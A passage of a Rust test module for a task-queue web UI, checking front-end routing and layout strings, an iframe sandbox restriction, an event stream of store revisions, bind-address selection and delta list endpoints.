19679 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19680 ),
19681 "`#/queue/<id>` must parse into a route carrying that id"
19682 );
19683
19684 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19688 assert!(APP_JS.contains("function consumeQueueFocus()"));
19689 assert!(APP_JS.contains("jumpToTask(id)"));
19690 }
19691
19692 #[test]
19693 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19694 let start = APP_JS
19695 .find("function noticeCoveredBy(")
19696 .expect("noticeCoveredBy exists");
19697 let body = &APP_JS[start..];
19698 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19699
19700 assert!(body.contains("Associated question ${short}"));
19702 assert!(!body.contains("el(\"a\""));
19703
19704 assert!(body.contains("(resolved)"));
19706 assert!(body.contains("(closed)"));
19707
19708 let start = APP_JS
19709 .find("function renderNotifications()")
19710 .expect("renderNotifications exists");
19711 let body = &APP_JS[start..];
19712 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19713
19714 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19716 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19717 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19718 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19719 }
19720
19721 #[test]
19724 fn chat_rows_put_the_title_alone_on_the_first_line() {
19725 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19726 assert!(APP_CSS.contains(
19727 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19728 ));
19729 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19730 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19731 }
19732
19733 #[test]
19734 fn run_rows_put_the_title_alone_on_the_first_line() {
19735 assert!(
19736 APP_CSS.contains(
19737 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19738 )
19739 );
19740 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19741 assert!(APP_JS.contains("class: \"card run-card\""));
19742 assert!(APP_JS.contains("class: \"repo run-id\""));
19743 }
19744
19745 #[test]
19749 fn wide_screens_show_list_and_preview_side_by_side() {
19750 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19752 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19753 assert!(APP_CSS.contains("main[data-split]"));
19754 assert!(APP_CSS.contains("body[data-split]"));
19755
19756 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19758 assert!(
19759 APP_JS.contains(
19760 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19761 )
19762 );
19763 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19764 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19765 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19766
19767 assert!(APP_JS.contains("function markSelected() {"));
19769 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19770 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19771 assert!(
19773 APP_CSS.contains(
19774 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19775 )
19776 );
19777
19778 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19780 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19781 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19782 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19783
19784 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19788 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19789 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19790 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19791
19792 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19794 }
19795
19796 #[test]
19797 fn panel_sandbox_carries_exactly_popups() {
19798 let needle = "sandbox: \"";
19799 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19800 assert_eq!(
19801 matches.len(),
19802 1,
19803 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19804 );
19805 let start = matches[0].0 + needle.len();
19806 let end = APP_JS[start..]
19807 .find('"')
19808 .expect("sandbox attribute value must be terminated by a closing quote");
19809 let val = &APP_JS[start..start + end];
19810 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19811 let expected: std::collections::BTreeSet<&str> =
19812 ["allow-popups", "allow-popups-to-escape-sandbox"]
19813 .into_iter()
19814 .collect();
19815 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19816 assert!(
19817 !tokens.contains("allow-scripts"),
19818 "allow-scripts must never be present in sandbox"
19819 );
19820 assert!(
19821 !tokens.contains("allow-same-origin"),
19822 "allow-same-origin must never be present in sandbox"
19823 );
19824 }
19825
19826 #[test]
19827 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19828 assert!(
19837 APP_JS.contains(
19838 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
19839 ),
19840 "the search-clearing branch must run before state.queueFocus is cleared, or the \
19841 recursive renderQueue() call has nothing left to jump to"
19842 );
19843 assert!(
19844 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19845 "state.queueFocus must be cleared only once the jump has landed, so a card that \
19846 arrives later still gets it"
19847 );
19848 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19849 assert!(APP_JS.contains("is not in the current Backlog."));
19850 assert!(APP_JS.contains("li.card[data-task-id=\""));
19851 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19852 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19853 assert!(APP_CSS.contains(".card-permalink"));
19854 assert!(APP_CSS.contains(".queue-focus-status"));
19855 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19856 }
19857
19858 #[test]
19859 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19860 assert!(
19868 APP_JS.contains(
19869 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19870 ),
19871 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19872 );
19873 }
19874
19875 #[test]
19876 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19877 assert!(
19878 APP_JS.contains("round.verified_head !== round.head"),
19879 "a round that verified an earlier commit must be visibly distinct from one that \
19880 verified the head reviewers are looking at now"
19881 );
19882 assert!(
19883 APP_JS.contains("round.verified_at"),
19884 "when a check ran must be on the wire, not just which commit"
19885 );
19886 assert!(
19887 APP_JS.contains("resource_blocked"),
19888 "a command magi never got to run (shared build cache contention) must not render \
19889 the same as a command that ran and failed"
19890 );
19891 }
19892
19893 #[test]
19894 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19895 assert!(
19903 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19904 "every KPI tile built through statusTile() must route its click through \
19905 openRunsFiltered, the single place that sets the Runs filter"
19906 );
19907 for (label, status) in [
19908 ("Merged", "merged"),
19909 ("Ready", "ready"),
19910 ("Blocked", "blocked"),
19911 ("Stalled", "stalled"),
19912 ] {
19913 let call = format!("statusTile(\"{label}\", t.{status}, ");
19914 assert!(
19915 APP_JS.contains(&call),
19916 "expected the {label} KPI tile built via {call}..."
19917 );
19918 assert!(
19919 APP_JS.contains(&format!("status === \"{status}\"")),
19920 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19921 compare a run against, not one invented only for the stats tile"
19922 );
19923 }
19924 assert!(
19925 APP_JS.contains("function openRunsFiltered(status)"),
19926 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19927 );
19928 assert!(
19929 APP_JS.contains(
19930 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19931 ),
19932 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19933 );
19934 assert!(
19942 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19943 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19944 hashchange event that may never fire"
19945 );
19946 }
19947
19948 #[test]
19949 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19950 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19956 assert!(
19957 APP_JS.contains(
19958 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19959 ),
19960 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19961 guard for an incompatible tree section"
19962 );
19963 }
19964
19965 #[test]
19966 fn every_stats_queue_tile_names_a_real_queue_section() {
19967 assert!(
19973 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19974 "every queue tile built through sectionTile() must route its click through \
19975 openQueueSectionFocus"
19976 );
19977 for key in ["upnext", "running", "done", "held", "blocked"] {
19978 assert!(
19979 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19980 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19981 );
19982 }
19983 for line in [
19987 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19988 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19989 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19990 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19991 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19992 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19993 ] {
19994 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19995 }
19996 }
19997
19998 #[test]
19999 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20000 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20007 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20008 assert!(APP_JS.contains("function revealQueueSection(details)"));
20009 assert!(
20010 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20011 "renderQueue() must consume both focus channels on every pass"
20012 );
20013 assert!(
20014 APP_JS.contains(
20015 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20016 ),
20017 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20018 the recursive renderQueue() call has nothing left to reveal"
20019 );
20020 assert!(
20021 APP_JS.contains(
20022 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20023 ),
20024 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20025 );
20026 assert!(
20034 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20035 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20036 hashchange event that may never fire"
20037 );
20038 }
20039
20040 #[tokio::test]
20041 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20042 let f = Fixture::start().await;
20043
20044 let mut socket = tokio::net::TcpStream::connect(f.addr)
20045 .await
20046 .expect("connect");
20047 socket
20048 .write_all(
20049 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20050 )
20051 .await
20052 .expect("write request");
20053
20054 let mut seen = String::new();
20057 let mut buf = [0u8; 1024];
20058 while !seen.contains("event: change") {
20059 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20060 .await
20061 .expect("the stream must speak within five seconds")
20062 .expect("read");
20063 assert!(read > 0, "the server closed the change stream: {seen}");
20064 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20065 }
20066
20067 assert!(
20068 seen.to_lowercase()
20069 .contains("content-type: text/event-stream"),
20070 "the browser only reconnects automatically for a real SSE stream: {seen}"
20071 );
20072 let data = seen
20073 .lines()
20074 .find_map(|l| l.strip_prefix("data:"))
20075 .expect("a data line");
20076 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20077 assert!(
20078 payload["queue_rev"].is_u64()
20079 && payload["runs_rev"].is_u64()
20080 && payload["questions_rev"].is_u64()
20081 && payload["talks_rev"].is_u64()
20082 && payload["notifications_rev"].is_u64()
20083 && payload["loop_rev"].is_u64(),
20084 "the client needs one revision per store to know what to refetch, \
20085 and `talks_rev` is the only notification a standing talk gets - a \
20086 phone whose radio slept through a turn learns about it here, as \
20087 does one whose operator started the loop from another device: \
20088 {payload}"
20089 );
20090
20091 let health = f.get("/api/health").await.json();
20098 for key in [
20099 "queue_rev",
20100 "runs_rev",
20101 "questions_rev",
20102 "talks_rev",
20103 "notifications_rev",
20104 "loop_rev",
20105 ] {
20106 assert!(
20107 health[key].is_u64(),
20108 "health is the change stream's fallback and is missing `{key}`: {health}"
20109 );
20110 }
20111 }
20112
20113 #[tokio::test]
20114 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20115 let f = Fixture::start().await;
20116 let before = f.get("/api/health").await.json()["talks_rev"]
20117 .as_u64()
20118 .expect("talks_rev");
20119
20120 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20121 std::thread::sleep(Duration::from_millis(10));
20122 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20123 on_disk.turns.push(crate::talk::Turn {
20124 sender: None,
20125 breaks: Some(Vec::new()),
20126 messages: Vec::new(),
20127 posted_by: None,
20128 who: crate::talk::Who::Operator,
20129 body: "a new turn".to_owned(),
20130 at: Timestamp::now(),
20131 attachments: Vec::new(),
20132 usage: None,
20133 });
20134 f.talks().put(&mut on_disk).expect("record a turn");
20135
20136 let after = tokio::time::timeout(Duration::from_secs(5), async {
20137 loop {
20138 let revision = f.get("/api/health").await.json()["talks_rev"]
20139 .as_u64()
20140 .unwrap();
20141 if revision != before {
20142 break revision;
20143 }
20144 tokio::time::sleep(Duration::from_millis(50)).await;
20145 }
20146 })
20147 .await
20148 .expect("shared monitor observes external turn");
20149 assert_ne!(
20150 before, after,
20151 "a phone must be able to notice a talk's reply without polling every store"
20152 );
20153 }
20154
20155 #[test]
20156 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20157 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20161 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20162 }
20163 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20164 assert!("everywhere".parse::<Bind>().is_err());
20165 }
20166
20167 #[test]
20168 fn an_explicit_bind_address_is_taken_verbatim() {
20169 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20170
20171 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20172
20173 assert_eq!(addr, asked);
20174 assert!(
20175 warning.is_none(),
20176 "an operator who named an address gets no lecture"
20177 );
20178 }
20179
20180 #[test]
20181 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20182 let (addr, warning) = resolve_bind(&Bind::Auto);
20183
20184 match addr {
20191 IpAddr::V4(ip) if is_tailnet(&ip) => {
20192 assert!(warning.is_none(), "a tailnet address needs no warning");
20193 }
20194 other => {
20195 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20196 let warning = warning.expect("a fallback has to explain itself");
20197 assert!(
20198 warning.contains("127.0.0.1") && warning.contains("local-only"),
20199 "the warning says what happened and what it costs: {warning}"
20200 );
20201 }
20202 }
20203 }
20204
20205 #[test]
20206 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20207 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20211 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20212 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20213 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20214 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20215 }
20216
20217 #[test]
20218 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20219 let ids = vec![
20220 "20260902-140501-aaaa".to_owned(),
20221 "20260902-140502-aabb".to_owned(),
20222 ];
20223
20224 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20225 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20226 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20227
20228 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20229 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20230 assert_eq!(short, "20260902-140502-aabb");
20231 }
20232 #[tokio::test]
20233 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20234 let fx = Fixture::start().await;
20240 let id = panel(
20241 &fx,
20242 "<img src=\"shot.png\">",
20243 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20244 );
20245
20246 let doc = fx
20248 .get(&format!("/api/questions/{id}/panel/index.html"))
20249 .await;
20250 assert_eq!(doc.status, 200, "{}", doc.body);
20251 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20252
20253 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20254 assert_eq!(sibling.status, 200, "{}", sibling.body);
20255 assert_eq!(sibling.header("content-type"), Some("image/png"));
20256 assert_eq!(
20257 sibling.header("content-security-policy"),
20258 Some(PANEL_CSP),
20259 "the sibling route must carry the same policy as the asset route"
20260 );
20261
20262 assert_eq!(
20265 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20266 200
20267 );
20268 }
20269
20270 #[test]
20271 fn delta_stamps_cover_add_update_remove_and_noop() {
20272 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20273 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20274 let delta = diff_stamps(&before, &after, 42);
20275 assert_eq!(delta.base, 42);
20276 assert_eq!(delta.changed, ["b", "c"]);
20277 assert_eq!(delta.removed, ["a"]);
20278 let same = diff_stamps(&after, &after, 43);
20279 assert!(same.changed.is_empty() && same.removed.is_empty());
20280 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20281 let nanos: Stamps = [("b".into(), (2, 20))].into();
20282 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20283 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20284 assert_eq!(stamps_revision(&Stamps::new()), 0);
20285 }
20286
20287 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20288 std::fs::create_dir_all(home.join("runs")).unwrap();
20289 Arc::new(Ui::new(
20290 Queue::at(home.join("queue")),
20291 Questions::at(home.join("questions")),
20292 Talks::at(home.join("talks")),
20293 home.join("runs"),
20294 home.to_owned(),
20295 PathBuf::from("/repo/magi"),
20296 ))
20297 }
20298
20299 #[test]
20300 fn monitor_scan_isolates_store_failures_and_recovers() {
20301 let home = TempDir::new().unwrap();
20302 let ui = delta_test_ui(home.path());
20303 std::fs::create_dir_all(ui.questions.root()).unwrap();
20304 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20305 let before = monitor_scan(&ui, None);
20306 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20307 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20308 std::fs::create_dir_all(ui.talks.root()).unwrap();
20309 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20310 let during = monitor_scan(&ui, Some(before.clone()));
20311 assert_eq!(during.0.2, before.0.2);
20312 assert_ne!(during.0.3, before.0.3);
20313 assert!(during.1[2].contains_key("new"));
20314 std::fs::remove_file(ui.questions.root()).unwrap();
20315 let after = monitor_scan(&ui, Some(during));
20316 assert_eq!(after.0.2, 0);
20317 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20318 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20320 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20321 }
20322
20323 #[tokio::test]
20324 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20325 let home = TempDir::new().unwrap();
20326 let ui = delta_test_ui(home.path());
20327 let mut task = Task::new(
20328 "stream task".into(),
20329 "text".into(),
20330 PathBuf::from("/repo"),
20331 Source::Human,
20332 );
20333 ui.queue.put(&mut task).unwrap();
20334 let response = events(State(ui.clone())).await.into_response();
20335 let mut stream = response.into_body().into_data_stream();
20336 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20337 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20338 .await
20339 .unwrap()
20340 .unwrap()
20341 .unwrap();
20342 let text = String::from_utf8(chunk.to_vec()).unwrap();
20343 let data = text
20344 .lines()
20345 .find_map(|line| {
20346 line.strip_prefix("data: ")
20347 .or_else(|| line.strip_prefix("data:"))
20348 })
20349 .unwrap();
20350 serde_json::from_str(data).unwrap()
20351 }
20352 let initial = change(&mut stream).await;
20353 assert!(initial.get("queue_delta").is_none());
20354 task.instruction.push_str(" changed");
20355 ui.queue.put(&mut task).unwrap();
20356 let updated = change(&mut stream).await;
20357 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20358 assert_eq!(
20359 updated["queue_delta"]["changed"],
20360 serde_json::json!([task.id])
20361 );
20362 assert_eq!(
20363 updated["queue_rev"].as_u64(),
20364 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20365 );
20366 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20367 let removed = change(&mut stream).await;
20368 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20369 assert_eq!(
20370 removed["queue_delta"]["removed"],
20371 serde_json::json!([task.id])
20372 );
20373 }
20374
20375 #[tokio::test]
20376 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20377 let home = TempDir::new().unwrap();
20378 let ui = delta_test_ui(home.path());
20379 let queue = ui.queue.clone();
20380 let query = |ids: Option<&str>| {
20381 Query(ListQuery {
20382 limit: Some(2),
20383 ids: ids.map(str::to_owned),
20384 })
20385 };
20386 let mut root = Task::new(
20387 "root".into(),
20388 "instruction".into(),
20389 PathBuf::from("/repo"),
20390 Source::Human,
20391 );
20392 queue.put(&mut root).unwrap();
20393 let mut blocked = Task::new(
20394 "blocked".into(),
20395 "instruction".into(),
20396 PathBuf::from("/repo"),
20397 Source::Human,
20398 );
20399 blocked.block(vec![root.id.clone()], None);
20400 queue.put(&mut blocked).unwrap();
20401 let whole =
20402 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20403 .unwrap();
20404 let subset = serde_json::to_value(
20405 queue_list(State(ui.clone()), query(Some(&root.id)))
20406 .await
20407 .unwrap()
20408 .0,
20409 )
20410 .unwrap();
20411 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20412 let blockers = serde_json::to_value(
20413 queue_list(State(ui.clone()), query(Some("")))
20414 .await
20415 .unwrap()
20416 .0,
20417 )
20418 .unwrap();
20419 assert_eq!(blockers.as_array().unwrap().len(), 1);
20420 assert_eq!(blockers[0]["id"], blocked.id);
20421 assert_eq!(
20422 blockers[0]["waits_on"],
20423 whole
20424 .as_array()
20425 .unwrap()
20426 .iter()
20427 .find(|row| row["id"] == blocked.id)
20428 .unwrap()["waits_on"]
20429 );
20430
20431 for id in [
20432 "20260902-140501-aaaa",
20433 "20260902-140502-bbbb",
20434 "20260902-140503-cccc",
20435 ] {
20436 write_run(&ui.runs, id, RunStatus::Merged);
20437 }
20438 let old = serde_json::to_value(
20439 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20440 .await
20441 .unwrap()
20442 .0,
20443 )
20444 .unwrap();
20445 assert!(
20446 old.as_array().unwrap().is_empty(),
20447 "older updates must not enter the window"
20448 );
20449 let newest = serde_json::to_value(
20450 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20451 .await
20452 .unwrap()
20453 .0,
20454 )
20455 .unwrap();
20456 assert_eq!(newest.as_array().unwrap().len(), 1);
20457 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20458
20459 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20460 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20461 let talks = serde_json::to_value(
20462 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20463 .await
20464 .unwrap()
20465 .0,
20466 )
20467 .unwrap();
20468 assert_eq!(talks.as_array().unwrap().len(), 1);
20469 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20470 assert_eq!(
20471 serde_json::to_value(
20472 talks_list(State(ui.clone()), query(Some("")))
20473 .await
20474 .unwrap()
20475 .0
20476 )
20477 .unwrap(),
20478 serde_json::json!([])
20479 );
20480 }
20481
20482 #[tokio::test]
20483 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20484 async fn delta_payload_benchmark() {
20485 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20486 let ui = delta_test_ui(&home);
20487 let query = |ids: Option<String>| {
20488 Query(ListQuery {
20489 limit: Some(50),
20490 ids,
20491 })
20492 };
20493 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20494 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20495 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20496 let queue_id = queue
20497 .iter()
20498 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20499 .unwrap_or(&queue[0])
20500 .task
20501 .id
20502 .clone();
20503 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20504 .await
20505 .unwrap()
20506 .0;
20507 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20508 .await
20509 .unwrap()
20510 .0;
20511 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20512 .await
20513 .unwrap()
20514 .0;
20515 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20516 eprintln!(
20517 "DELTA_PAYLOAD {}",
20518 serde_json::json!({
20519 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20520 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20521 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20522 "counts": [queue.len(), runs.len(), talks.len()],
20523 "blocked": queue_delta.len() - 1,
20524 })
20525 );
20526 }
20527
20528 #[test]
20529 fn runs_revision_moves_when_deleting_an_older_run() {
20530 let temp = TempDir::new().expect("tempdir");
20531 let runs = temp.path().join("runs");
20532 std::fs::create_dir_all(&runs).expect("create runs dir");
20533
20534 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20535
20536 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20537 std::thread::sleep(Duration::from_millis(10));
20538 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20539
20540 let rev_before = runs_revision(&runs);
20541 assert!(rev_before > 0);
20542
20543 let old_dir = runs.join("20260901-100000-old1");
20544 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20545
20546 let rev_after = runs_revision(&runs);
20547 assert_ne!(
20548 rev_before, rev_after,
20549 "deleting an older run must change the revision so other clients see the deletion"
20550 );
20551 }
20552
20553 fn write_state(runs: &FsPath, state: &RunState) {
20558 let dir = runs.join(&state.id);
20559 std::fs::create_dir_all(&dir).expect("run dir");
20560 std::fs::write(
20561 dir.join("run.json"),
20562 serde_json::to_string_pretty(state).expect("serialize run"),
20563 )
20564 .expect("write run.json");
20565 }
20566
20567 #[test]
20572 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20573 let temp = TempDir::new().expect("tempdir");
20574 let runs = temp.path().join("runs");
20575 std::fs::create_dir_all(&runs).expect("create runs dir");
20576 let mut state = RunState::new(
20577 PathBuf::from("/repo/magi"),
20578 "main".to_owned(),
20579 "0123456789abcdef".to_owned(),
20580 "task".to_owned(),
20581 Config::default(),
20582 );
20583 state.id = "20260902-100000-c0de".to_owned();
20584 write_state(&runs, &state);
20585
20586 let rev_idle = runs_revision(&runs);
20587 std::thread::sleep(Duration::from_millis(10));
20588 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20589 write_state(&runs, &state);
20590 let rev_started = runs_revision(&runs);
20591 assert_ne!(
20592 rev_idle, rev_started,
20593 "a seat starting must move the revision"
20594 );
20595
20596 std::thread::sleep(Duration::from_millis(10));
20597 state.seat_finished("judge-1");
20598 write_state(&runs, &state);
20599 let rev_finished = runs_revision(&runs);
20600 assert_ne!(
20601 rev_started, rev_finished,
20602 "and clearing it again must move the revision a second time"
20603 );
20604 }
20605
20606 #[tokio::test]
20607 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20608 let fx = Fixture::start().await;
20613 let q = fx.queue();
20614
20615 let mut t = Task::new(
20616 "Task".to_owned(),
20617 "Instruction".to_owned(),
20618 PathBuf::from("/repo"),
20619 Source::Human,
20620 );
20621 t.block(
20622 vec!["20260101-000000-dead".to_owned()],
20623 Some("waiting on Task 1".to_owned()),
20624 );
20625 t.answers.push(crate::queue::AnsweredQuestion {
20626 question: "Which backend?".to_owned(),
20627 answer: "SQLite".to_owned(),
20628 });
